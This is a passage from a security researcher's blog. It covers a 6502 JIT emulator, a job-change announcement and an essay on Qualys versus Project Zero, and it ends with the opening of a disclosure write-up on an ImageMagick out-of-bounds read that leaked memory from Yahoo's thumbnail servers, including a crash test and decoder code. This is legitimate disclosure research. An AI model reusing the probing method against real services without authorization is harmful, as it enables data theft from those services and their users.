This one is simple but highly effective. Zero page is the memory region $0000 - $00FF on the 6502. Reads / writes here are faster than accessing addresses >= $0100. So, a lot of 6502 code puts fast path variables in the zero page. We should make zero page handling as fast as possible. By default, the assumption is that no 6502 code is executed in the zero page, enabling zero page writes to go faster by not worrying about if they might be modifying code. In the unusual case that code is ever compiled in the zero page, it’s simple enough to handle it by invalidating all JIT code and regenerating on-demand with appropriate invalidation for zero page writes. (For an example of a game that triggers this, there’s <a href="https://en.wikipedia.org/wiki/Wizadore">Wizadore</a>. It could be making the clever observation that it’s slightly faster to modify code in the zero page because zero page writes are faster.)<br />
Note that very similar approaches apply to the stack page, which is $0100 - $01FF on the 6502. These are not yet implemented in beebjit.<br />
<br />
<u>Trick #7: use slow path faults to turbocharge some fast paths</u><br />
<br />
Let’s look at a couple of 6502 reads from the same address -- a hardware register at $FE00 -- but with different addressing modes.<br />
<br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100031: </span><span style="background-color: #9fc5e8; color: #783f04; font-family: Courier New, Courier, monospace;">[1]</span><span style="color: #783f04; font-family: Courier New, Courier, monospace;"> lea 0xc0(%rbx),%edx<span style="white-space: pre;"> </span>LDA ($C0,X)</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100037: <span style="background-color: #9fc5e8;">[2]</span> movzbl %dl,%edx</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010003a: <span style="background-color: #9fc5e8;">[3]</span> mov 0x12017f01(%rdx),%r9b</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100041: mov %rdx,%r8</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100044: <span style="background-color: #9fc5e8;">[4]</span> mov -0x7f(%rdx,%rbp,1),%dh</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100048: mov -0x80(%r8,%rbp,1),%dl</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010004d: <span style="background-color: #9fc5e8;">[5]</span> movzbl -0x80(%rdx,%rbp,1),%eax</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100052: <span style="background-color: #9fc5e8;">[6]</span> test %al,%al</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100054: mov $0x12009010,%r10d<span style="white-space: pre;"> </span>LDA $FE00</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010005a: jmpq 0x42d613 <asm_x64_jit_interp></asm_x64_jit_interp></span><br />
<br />
There is plenty going on here. Unfortunately, the LDA (,X) addressing mode is not a trivial translation to x64 and implementing it correctly, as beebjit tries to do, incurs cost to handle the corner cases. It is worth a brief digression to break down the different parts corresponding to the numbers in blue above:<br />
<br />
<ol>
<li>Calculate 6502 X + the constant $C0.</li>
<li>Corner case alert! Truncate the calculation result to 8-bits, as a 6502 does.</li>
<li>Corner case alert! Arrange for a host access violation / SIGSEGV if the truncated result is exactly $FF. This is because the upcoming 16-bit pointer read would cross a page boundary and should wrap.</li>
<li>Load a 16-bit 6502 pointer. NOTE! This is done in two 8-bit x64 reads. If done instead as a single 16-bit read, which you assume could be faster, you likely assume wrong as I did initially. You run the risk of colliding with <a href="https://blog.stuffedcow.net/2014/01/x86-memory-disambiguation/">store-to-load forwarding</a> because of mixing 16-bit reads with 8-byte writes at the same memory address.</li>
<li>Load the actual result into 6502 A from the 16-bit 6502 pointer we constructed.</li>
<li>6502 LDA updates zero and negative flags, so do the same in x64.</li>
</ol>
<br />
By contrast, look at the compiled code for LDA $FE00. The JIT engine has essentially given up on compiling this and is throwing it over to the slower but very capable interpreter. For this 6502 addressing mode, the address of the read is statically known at compile time, and it is also known to be a hardware register. So we jump to the interpreter to handle this complicated case.<br />
However, for the indirect read of the LDA (,X) addressing mode, we don’t know what memory address will be eventually read so we don’t know if a hardware register will be hit or not. But wait -- there isn’t a check in the compiled code on the final address before it is read. So how does the hardware register work at all?<br />
The answer is fault + fixup! The observation here is that it’s actually very uncommon for an indirect read to hit a hardware register, so we don’t check for that in the common fast path. However, the host virtual address space for the read is a special “indirect mapping” version of the main 6502. This mapping will cause a fault if the hardware register space is touched. The fault is slow and needs fixing up but it almost never happens so it’s a win.<br />
You can also see the fault + fixup concept used to trap the exceptionally unusual case where the LDA (,X) instruction can fetch a 16-bit pointer from $FF, which wraps back to $00. We don’t want to pollute every (,X) mode instruction with code to compare against $FF and possibly branch so we can replace that with a single read which will fault approximately never. (The game <a href="https://en.wikipedia.org/wiki/Camelot_(video_game)">Camelot</a> does manage to somehow hit this.)<br />
<br />
<u>Trick #8: optimize!</u><br />
<br />
The goal here is not to write a modern optimizing compiler, but to look for and address a couple of common patterns:<br />
<br />
<ul>
<li>Common 6502 sequences that compile to x64 sequences with opportunities for coalescing at the x64 level.</li>
<li>Common 6502 sequences that can be expressed differently to take advantage of known details in the sequence.</li>
</ul>
<br />
In both cases, the word “sequence” is key. Whereas a 6502 interpreter has to consider each instruction in isolation, a 6502 JIT compiler can look across sequences and make use of knowledge of concrete values and concrete nearby instructions. Optimizing across sequences is not as gnarly as it could be because we know interrupts won’t be coming in at arbitrary points, but self-modification is still a hazard, as is the fault + fixup usage described above. To briefly get a flavor of the sort of optimizations possible, let’s look at one last 6502 compilation:<br />
<br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> <span style="white-space: pre;"> </span>LDA #1</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100034:<span style="white-space: pre;"> </span>movb $0x1,0x3000000(%rbp)<span style="white-space: pre;"> </span>STA $80</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010003b:<span style="white-space: pre;"> </span>mov $0x2,%eax<span style="white-space: pre;"> </span>LDA #2</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100040:<span style="white-space: pre;"> </span>or 0x1(%rbp),%al<span style="white-space: pre;"> </span>ORA $81</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>ASL</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>ASL</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100043:<span style="white-space: pre;"> </span>shl $0x3,%al<span style="white-space: pre;"> </span>ASL</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>CLC</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100046:<span style="white-space: pre;"> </span>add 0x2(%rbp),%al<span style="white-space: pre;"> </span>ADC $82</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x0000000020100049:<span style="white-space: pre;"> </span>setb %r14b</span><br />
<span style="color: #783f04; font-family: Courier New, Courier, monospace;"> 0x000000002010004d:<span style="white-space: pre;"> </span>seto %r12b</span><br />
<br />
As can be seen, entire 6502 instructions have been eliminated; some have been coalesced; and the annoying test instructions after the LDA instructions have been eliminated because those flags are never observable on account of subsequent flag overwrites.<br />
<br />
<br />
While the above tricks are enough to turbocharge a wide range of BBC software, some corner cases remain where speed drops below the GHz range, sometimes precipitously. These corner cases typically relate to the interaction between the 6502 and BBC hardware, not the 6502 -> x64 JIT compilation. There are also a few significant optimizations left on the TODO list that may raise performance for broad swathes of games. These optimizations will be undertaken as time and interest dictate.<br />
<br />
<br />
<b>Other beebjit tricks</b><br />
<br />
Aside from the boosted 6502 core, beebjit is a reasonably capable BBC Micro emulator. Currently in beta-ish status, it should be able to emulate any BBC Micro game including classics such as <a href="https://en.wikipedia.org/wiki/Exile_(1988_video_game)">Exile</a>, <a href="https://en.wikipedia.org/wiki/Elite_(video_game)">Elite</a>, <a href="https://en.wikipedia.org/wiki/Revs_(video_game)">Revs</a>, etc.<br />
It is cycle accurate enough to run the horror show known as <a href="https://stardot.org.uk/forums/viewtopic.php?t=696">Kevin Edwards’ copy protection for the Nightshade tape</a>.<br />
<br />
There are some major things beebjit doesn’t do well or at all yet. To satisfy these needs, you may wish to try <a href="https://bbc.godbolt.org/">jsbeeb</a> or one of the <a href="https://emulation.gametechwiki.com/index.php/BBC_Micro_emulators">many other BBC emulators</a>.<br />
<br />
<ul>
<li>Portability. beebjit is Linux native. An early attempt at a Windows build does exist. Have a look in the <a href="https://github.com/scarybeasts/beebjit/tree/master/builds">beebjit builds directory</a>.</li>
<li>Broad model support. beebjit only emulates a BBC model B with a few optional bells and whistles such as sideways RAM support. Notable, BBC Master support is not (yet?) implemented.</li>
<li>GUI. beebjit renders to a window but does not have a GUI. There’s a fair amount of configurability but you will need to apply yourself to the command line!</li>
<li>Peripherals. beebjit does not emulate peripherals unless they were very common back in the day (e.g. disc drives and tape players). Things like joysticks, mice, second processors etc. are not (yet?) emulated because a vast majority of software does not need them. Other emulators do fill this need well, though.</li>
</ul>
<br />
<br />
There are also some things beebjit does that are not so common and may interest you:<br />
<br />
<ul>
<li>Speed. As covered in this post.</li>
<li>Protected disc support. beebjit has a more accurate emulation of the disc, disc drive and disc controller than you will typically find. This means it will load images of original, protected discs. (The archival status of original protected BBC discs is not satisfactory and is something I am working on with others in the community.)</li>
<li>Capture and replay. Like most emulators, beebjit executes deterministically. Only external input -- currently just the keyboard -- affects the execution path. Therefore, beebjit has a mode to record external input and replay it (deterministically). This feature combines well with speed. You can replay very quickly, effectively providing an alternative to save states but with very small files and the ability to exit a replay early for a many-in-one save state file.</li>
</ul>
<br />
<br />
<b>15GHz</b><br />
<br />
Courtesy of Matt Godbolt (<a href="https://twitter.com/mattgodbolt">@mattgodbolt</a>), here’s beebjit hitting 15GHz on a couple of the “CLOCKSP” BBC Basic tests, and 12GHz+ overall. This is on an i9-9980XE, which has robust single-core performance: 9th gen Intel core, boost clock @ 4.5GHz. No-one has tried on a 5GHz beast yet, or any 10th gen parts.<br />
<br />
<span id="docs-internal-guid-2b0f8a99-7fff-a8f0-b0b9-e62265ee128f"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="border: none; display: inline-block; height: 505px; overflow: hidden; width: 544px;"><img height="505" src="https://lh5.googleusercontent.com/boSglU0o2wo3XucY64Uk6aCh9XCxAUIz8l0kLyxik_7PDMqYZzJ_Xr-0QxbFoBrEiUSRACc__rZsYAZ5eXKEeJA1VZ6p4FplU0GPIDm0UeI7BKPt7RozZ7CX19IQq8i3PvfxaVjH" style="margin-left: 0px; margin-top: 0px;" width="544" /></span></span></span><br />
<br />
<b>Collage of the GHz</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/Fr-IZAb5Gj8/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/Fr-IZAb5Gj8?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
<b>With thanks</b><br />
<br />
Special thanks to the following communities for their help, support and encouragement:<br />
<br />
<ul>
<li><a href="https://bitshifters.github.io/">bitshifters</a>. Pushing the BBC Micro to perform feats that no-one worked out how to do “back in the day”. I particularly recommend <a href="https://bitshifters.github.io/posts/prods/bs-twisted-brain.html">Twisted Brain</a>.</li>
<li><a href="http://stardot.org.uk/">StarDot</a>.</li>
</ul>
<br />
<div>
<br /></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-14510504219314427672017-09-19T10:54:00.000-07:002017-09-19T10:54:04.148-07:00Excited to join Dropbox!<div>
<span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">I’m excited to announce that I’ve joined Dropbox as their new Head of Security. Truth be told, I</span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z958z80zz68z1z66zz90zlz74zwhz75zz71zcz84zvz67zz73zz122zz78zxz72zrqqz71zrz68zez122z">’ve been here a little while</span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"> and I’ve been enjoying on-boarding too much to make the announcement. If you were wondering why my blog has been quiet for a while, now you know why!</span></div>
<div>
<br /></div>
<div>
<span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">I exited a fun period of semi-retirement to take up this challenge. What attracted me to Dropbox enough to make the switch? Many things but briefly:</span></div>
<ul class="listtype-bullet listindent1 list-bullet1">
<li><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">Scale and sensitivity of the data. </span><span class="thread-527981370559711737698533 author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">Half a billion users</span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"> storing sensitive files is a worthy stash to protect.</span></li>
<li><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">The excellent caliber and decent size of the existing security team. Working with strong leaders and team members is a big draw.</span></li>
<li><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">Perhaps above all else, the warmth of the people and the culture. This is the friendliest, most collaborative company I’ve worked at. I fully expect to become less of a jerk by imbibing the vibe! :)</span></li>
</ul>
<div>
<br /></div>
<div>
<span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">The assertion about the warmth of the people and culture deserves some supporting evidence. This is a little story from before I joined. As you may recall, I was researching server-side usage of ImageMagick and </span><span class="attrlink url author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"><a class="attrlink" data-target-href="https://scarybeastsecurity.blogspot.com/2017/05/proving-missing-aslr-on-dropboxcom-and.html" href="https://scarybeastsecurity.blogspot.com/2017/05/proving-missing-aslr-on-dropboxcom-and.html" rel="noreferrer nofollow noopener" target="_blank"><u>one of my discoveries affected Dropbox in a fairly minor way</u></a></span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">. The response was spectacular</span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf s-hyphen"> </span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf h-hyphen">-</span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">- and warm, and competent. Of course, the foundations you expect from a solid security program were present: a public bug bounty program with a fast response time. Beyond that, upon submission of what was considered an interesting bug, I was…. invited up to Dropbox HQ for chai(!), a snack, and a chat with Dev</span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf s-lparen"> </span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf h-lparen">(</span><span class="attrlink url author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"><a class="attrlink" data-target-href="https://twitter.com/frgx" href="https://twitter.com/frgx" rel="noreferrer nofollow noopener" target="_blank"><u>@frgx</u></a></span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">) plus the author of the sandboxing for this area. What a great experience.</span></div>
<div>
<br /></div>
<div>
<span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"><b>It would be remiss of me to not mention that Dropbox is hiring for </b></span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"><b><i>all</i></b></span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"><b> types of security roles</b></span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">. The team is already a decent size, but we are growing. </span><span class="attrlink url author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"><a class="attrlink" data-target-href="https://www.dropbox.com/jobs/listing/815756?oqa=sec" href="https://www.dropbox.com/jobs/listing/815756?oqa=sec" rel="noreferrer nofollow noopener" target="_blank"><u>This job req</u></a></span><span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf"> is what you are looking for.</span></div>
<div>
<br /></div>
<div>
<span class=" author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z956n1z69z4z75zz83zz71zez82zz86zz89zz72z4z73zz86zk9tz68zz85zkqz71zz80z2prf">On a social note, this move means that I’m now up in SF city a lot of the time. Hit me up if you want to grab a drink and talk about security.</span></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com3tag:blogger.com,1999:blog-3024470480937744884.post-79398097072097442382017-06-19T20:38:00.000-07:002017-06-19T20:38:02.596-07:00Introducing Qualys Project Zero?Google's Project Zero team was <a href="https://googleprojectzero.blogspot.com/2014/07/announcing-project-zero.html">announced in July 2014</a>. Since then, it has become very well known for publishing offensive security research of exceptional quality. This is especially welcome to defenders at a time where top quality offensive security research is drying up. For most important software targets, it's getting harder to find and exploit bugs. And for those individuals who remain in the pool of people still capable of playing this game, many have been attracted by positions that seek to abuse vulnerabilities rather than get them fixed.<div>
<br /></div>
<div>
Perhaps, too few positions exist where top-tier researchers:</div>
<div>
<ol>
<li>Are left alone to self-select research on whatever they deem important.</li>
<li>Get to work alongside other top-tier researchers.</li>
<li>Are expected to openly publish everything they discover.</li>
<li>Are never given bounds or direction from management.</li>
<li>Are supported by their organization when navigating the minefield of vulnerability disclosure.</li>
<li>Are given good resources and top tier corporate pay.</li>
</ol>
<div>
Google deserves a lot of props for hiring a decently sized team that broadly hits the above points.</div>
</div>
<div>
<br /></div>
<div>
And there is nothing to stop a different company from doing the same.</div>
<div>
<br /></div>
<div>
Has Qualys done the same?</div>
<div>
<br /></div>
<div>
Since the inception of Project Zero, I've personally seen it as a team called Project Zero, that just happens to be generously funded by Google. Also, an umbrella term under which any team could operate if they adhere to the principles of openness and freedom of employed researchers.</div>
<div>
<br /></div>
<div>
Qualys keeps pumping out research that I find surprisingly cool. Today, we had <a href="https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt">The Stack Clash</a>, a great read, which finally tipped me over the edge to write this post. Previously, I had noted and enjoyed <a href="https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt">attacks against the OpenSSH client</a> and a <a href="https://www.qualys.com/2015/01/27/cve-2015-0235/GHOST-CVE-2015-0235.txt">glibc resolver buffer overflow</a>. Three strikes and you're out, perhaps?</div>
<div>
<br /></div>
<div>
So Qualys clearly have one or more very talented hackers on the payroll. (We don't know who because the publications in question are not credited with individual names. I suspect some old-school hacker.) How does Qualys' observable behavior stack up against the list above?</div>
<div>
<ol>
<li>Left alone to self-select research: <span style="color: lime;">YES</span>. Hard to imagine management saying "hey, how about you go find, like, 10+ CVEs across all the most popular UNIXes, covering crashing the stack into the heap, and don't forget about 64-bit?".</li>
<li>Top-tier team: <span style="color: lime;">YES</span>. This is defined by output. As one example, Stack Clash is top-tier output. The writing in that report uses "we", suggesting a top-tier team instead of a single top-tier individual.</li>
<li>Open publication: <span style="color: lime;">YES</span>. (A presumption that all things of significance are published, but seems likely.)</li>
<li>Lack of management direction: <span style="color: orange;">MAYBE</span>. Hard to tell whether the Qualys Labs team is left alone to research 100% of the time, or if they are directed to take certain audits at certain times, or even contracted out. Some of the research targets are a bit weird, such as "Trend Micro Interscan Web Security Virtual Appliance" (<a href="https://www.qualys.com/2016/10/26/qsa-2016-10-26/qsa-2016-10-26.pdf">link</a>). This does not sound like a research target that a top-tier researcher would self-select.</li>
<li>Organizational support for disclosure: <span style="color: orange;">MAYBE</span>. We haven't yet seen if Qualys would be willing to stand up to a (e.g.) Microsoft or Apple trying to bully Qualys or one of their individual recruiters. There's also the worrying signal that Qualys unilaterally extended a disclosure embargo, going back on an agreement with Solar (see oss-sec post <a href="http://seclists.org/oss-sec/2017/q2/507">here</a>). There's also the question of whether "customers" get access to details before patches are available -- which would be counter to Project Zero principles.</li>
<li>Good resources / pay: <span style="color: lime;">YES</span>. (A presumption that Qualys pays reasonably relative to the hot market for security professionals.)</li>
</ol>
<div>
<b>Conclusion</b></div>
</div>
<div>
<br /></div>
<div>
With just a few public clarifications and maybe tweaks, Qualys would be able to use the term "Qualys Project Zero" without violating the spirit behind the name.</div>
<div>
<br /></div>
<div>
I'd be delighted at any such outcome: multiple Project Zeros, each funded by some benefactor with an interest in security, is one way to scale this thing.</div>
<div>
<br /></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-91100109956080949512017-05-19T16:30:00.000-07:002017-05-19T16:30:07.007-07:00*bleed, more powerful: dumping Yahoo! authentication secrets with an out-of-bounds read<b>Overview</b><br />
<br />
In my <a href="https://scarybeastsecurity.blogspot.com/2017/05/bleed-continues-18-byte-file-14k-bounty.html">previous post on Yahoobleed #1 (YB1)</a><todo: link="">, we saw how an uninitialized memory vulnerability could lead to disclosure of private images belonging to other users. The resulting leaked memory bytes were subject to JPEG compression, which is not a problem for image theft, but is somewhat lacking if we wanted to steal memory content other than images.</todo:><br />
<br />
In this post, we explore an alternative *bleed class vulnerability in Yahoo! thumbnailing servers. Let's call it Yahoobleed #2 (YB2). We'll get around the (still present) JPEG compression issue to exfiltrate raw memory bytes. With subsequent usage of the elite cyberhacking tool "<span style="font-family: "courier new" , "courier" , monospace;">strings</span>", we discover many wonders.<br />
<br />
Yahoo! fixed YB2 at the same time as YB1, by retiring ImageMagick. See <a href="https://scarybeastsecurity.blogspot.com/2017/05/bleed-continues-18-byte-file-14k-bounty.html">my previous post</a> for a more detailed list of why Yahoo! generally hit this out of the park with their response.<br />
<br />
<b>Visualization</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC0Xue1api-WvHoUYkpebix_kak-klQ-EVo4OQQziZIiFkpw6sTSX91WtfW37FIB6V263b_GOjES1FbnWK8KT0VNejGi1GftRTpHJEMYiD34VDc396uVPPQ0AZw7KFL4Z-w8kiQgOITDpo/s1600/yahoo_sun_ptrs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC0Xue1api-WvHoUYkpebix_kak-klQ-EVo4OQQziZIiFkpw6sTSX91WtfW37FIB6V263b_GOjES1FbnWK8KT0VNejGi1GftRTpHJEMYiD34VDc396uVPPQ0AZw7KFL4Z-w8kiQgOITDpo/s1600/yahoo_sun_ptrs.png" /></a></div>
<br />
The above patch of noise is a PNG (i.e lossless) and zoomed rendering of a 64x4 subsection of a JPEG image returned from Yahoo! servers when we trigger the vulnerability.<br />
<br />
There are many interesting things to note about this image, but for now we'll observe that... is that a couple of pointers we see at the top?? I have a previous <a href="https://googleprojectzero.blogspot.com/2014/08/what-does-pointer-look-like-anyway.html">Project Zero post about pointer visualization</a> and once you've seen a few pointers, it gets pretty easy to spot them across a variety of leak situations. Well, at least for Linux x86_64, where pointers often have a common prefix of 0x00007f. The hallmarks of the pointers above are:<br />
<ul>
<li>Repeating similar structures with the same alignment (8 bytes on 64-bit).</li>
<li>In blocks of pointers, vertical stripes of white towards where the most significant bytes are aligned, representing 0x00. (Note that the format of the leaked bytes is essentially "negated" because of the input file format.)</li>
<li>Again in blocks of pointers, vertical stripes of black next to that, representing 7 bits set in a row of the 0x7f value.</li>
<li>And again in blocks of pointers, a thin vertical stripe of white next to that, representing the 1 bit not set in the 0x7f value.</li>
</ul>
<div>
But we still see JPEG compression artifacts. Will that be a problem for precise byte-by-byte data exfiltration? We'll get to it later.</div>
<br />
<b>The vulnerability</b><br />
<br />
The hunt for this vulnerability starts with the realization that we don't know if Yahoo! is running an uptodate ImageMagick or not. Given that we know Yahoo! supports the RLE format, perhaps we can use the same techniques outlined in my <a href="https://scarybeastsecurity.blogspot.com/2017/03/black-box-discovery-of-memory.html">previous post about memory corruption in Box.com</a>? Interestingly enough, the crash file doesn't seem to crash anything but all the test files do seem to render instead of failing cleanly as would be expected with an uptodate ImageMagick. After some pondering, the most likely explanation is that the Yahoo! ImageMagick is indeed old and vulnerable, but the different heap setup we learned out about with YB1 means that the out-of-bounds heap write test case has no effect due to alignment slop.<br />
<br />
To test this hypothesis, we make an out-of-bounds heap write RLE file that substantially overflows a smaller chunk (64 bytes, with a 16 byte or so overflow), and upload that to Yahoo! <todo: file="" link=""></todo:><br />
And sure enough, hitting the thumbnail fetch URL fairly reliably (50% or so) results in:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWlVHZPt6HMQBx5pWm8IvrTbUl5IX7Abv7MJ1b5BJLZxIyl9lS3cgBhwvNF84_gCmzurAR_ZUhKvGIO5nhzv7TJhQLZPmLPNemzybdkJ2Gmc77iuzEM5R0ltG3_2l_TK0zdIluzPHLJpWq/s1600/yahoo_crash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWlVHZPt6HMQBx5pWm8IvrTbUl5IX7Abv7MJ1b5BJLZxIyl9lS3cgBhwvNF84_gCmzurAR_ZUhKvGIO5nhzv7TJhQLZPmLPNemzybdkJ2Gmc77iuzEM5R0ltG3_2l_TK0zdIluzPHLJpWq/s1600/yahoo_crash.png" /></a></div>
This looks like a very significant backend failure, and our best guess is a SIGSEGV due to the presence of the <a href="http://git.imagemagick.org/repos/ImageMagick/commit/7131d8ff451a1d5163e7e35b7a910df80cb54fab">2+ years old RLE memory corruption issue</a>.<br />
<br />
But our goal today is not to exploit an RCE memory corruption, although that would be fun. Our goal is to exfiltrate data with a *bleed attack. So, we have an ImageMagick that is about 2.5 years old. In that timeframe, surely lots of other interesting vulnerabilities have been fixed? After a bit of looking around, we settle on an interesting candidate: this <a href="http://git.imagemagick.org/repos/ImageMagick/commit/b8f17d08b7418204bf8a05a5c24e87b2fc395b75">2+ years old out-of-bounds fix in the SUN decoder</a>. The bug fix appears to be taking a length check and applying it more thoroughly so that it includes images with a bit depth of 1. Looking at the code slightly before this patch, and tracing through the decode path for an image with a bit depth of 1, we get (<span style="font-family: "courier new" , "courier" , monospace;"><a href="http://git.imagemagick.org/repos/ImageMagick/blob/acabb847a592ca5e430c1c0949d03acfc0b78bb9/coders/sun.c">coders/sun.c</a></span>):<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;"> sun_info.width=ReadBlobMSBLong(image);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sun_info.height=ReadBlobMSBLong(image);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sun_info.depth=ReadBlobMSBLong(image);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sun_info.length=ReadBlobMSBLong(image);</span><br />
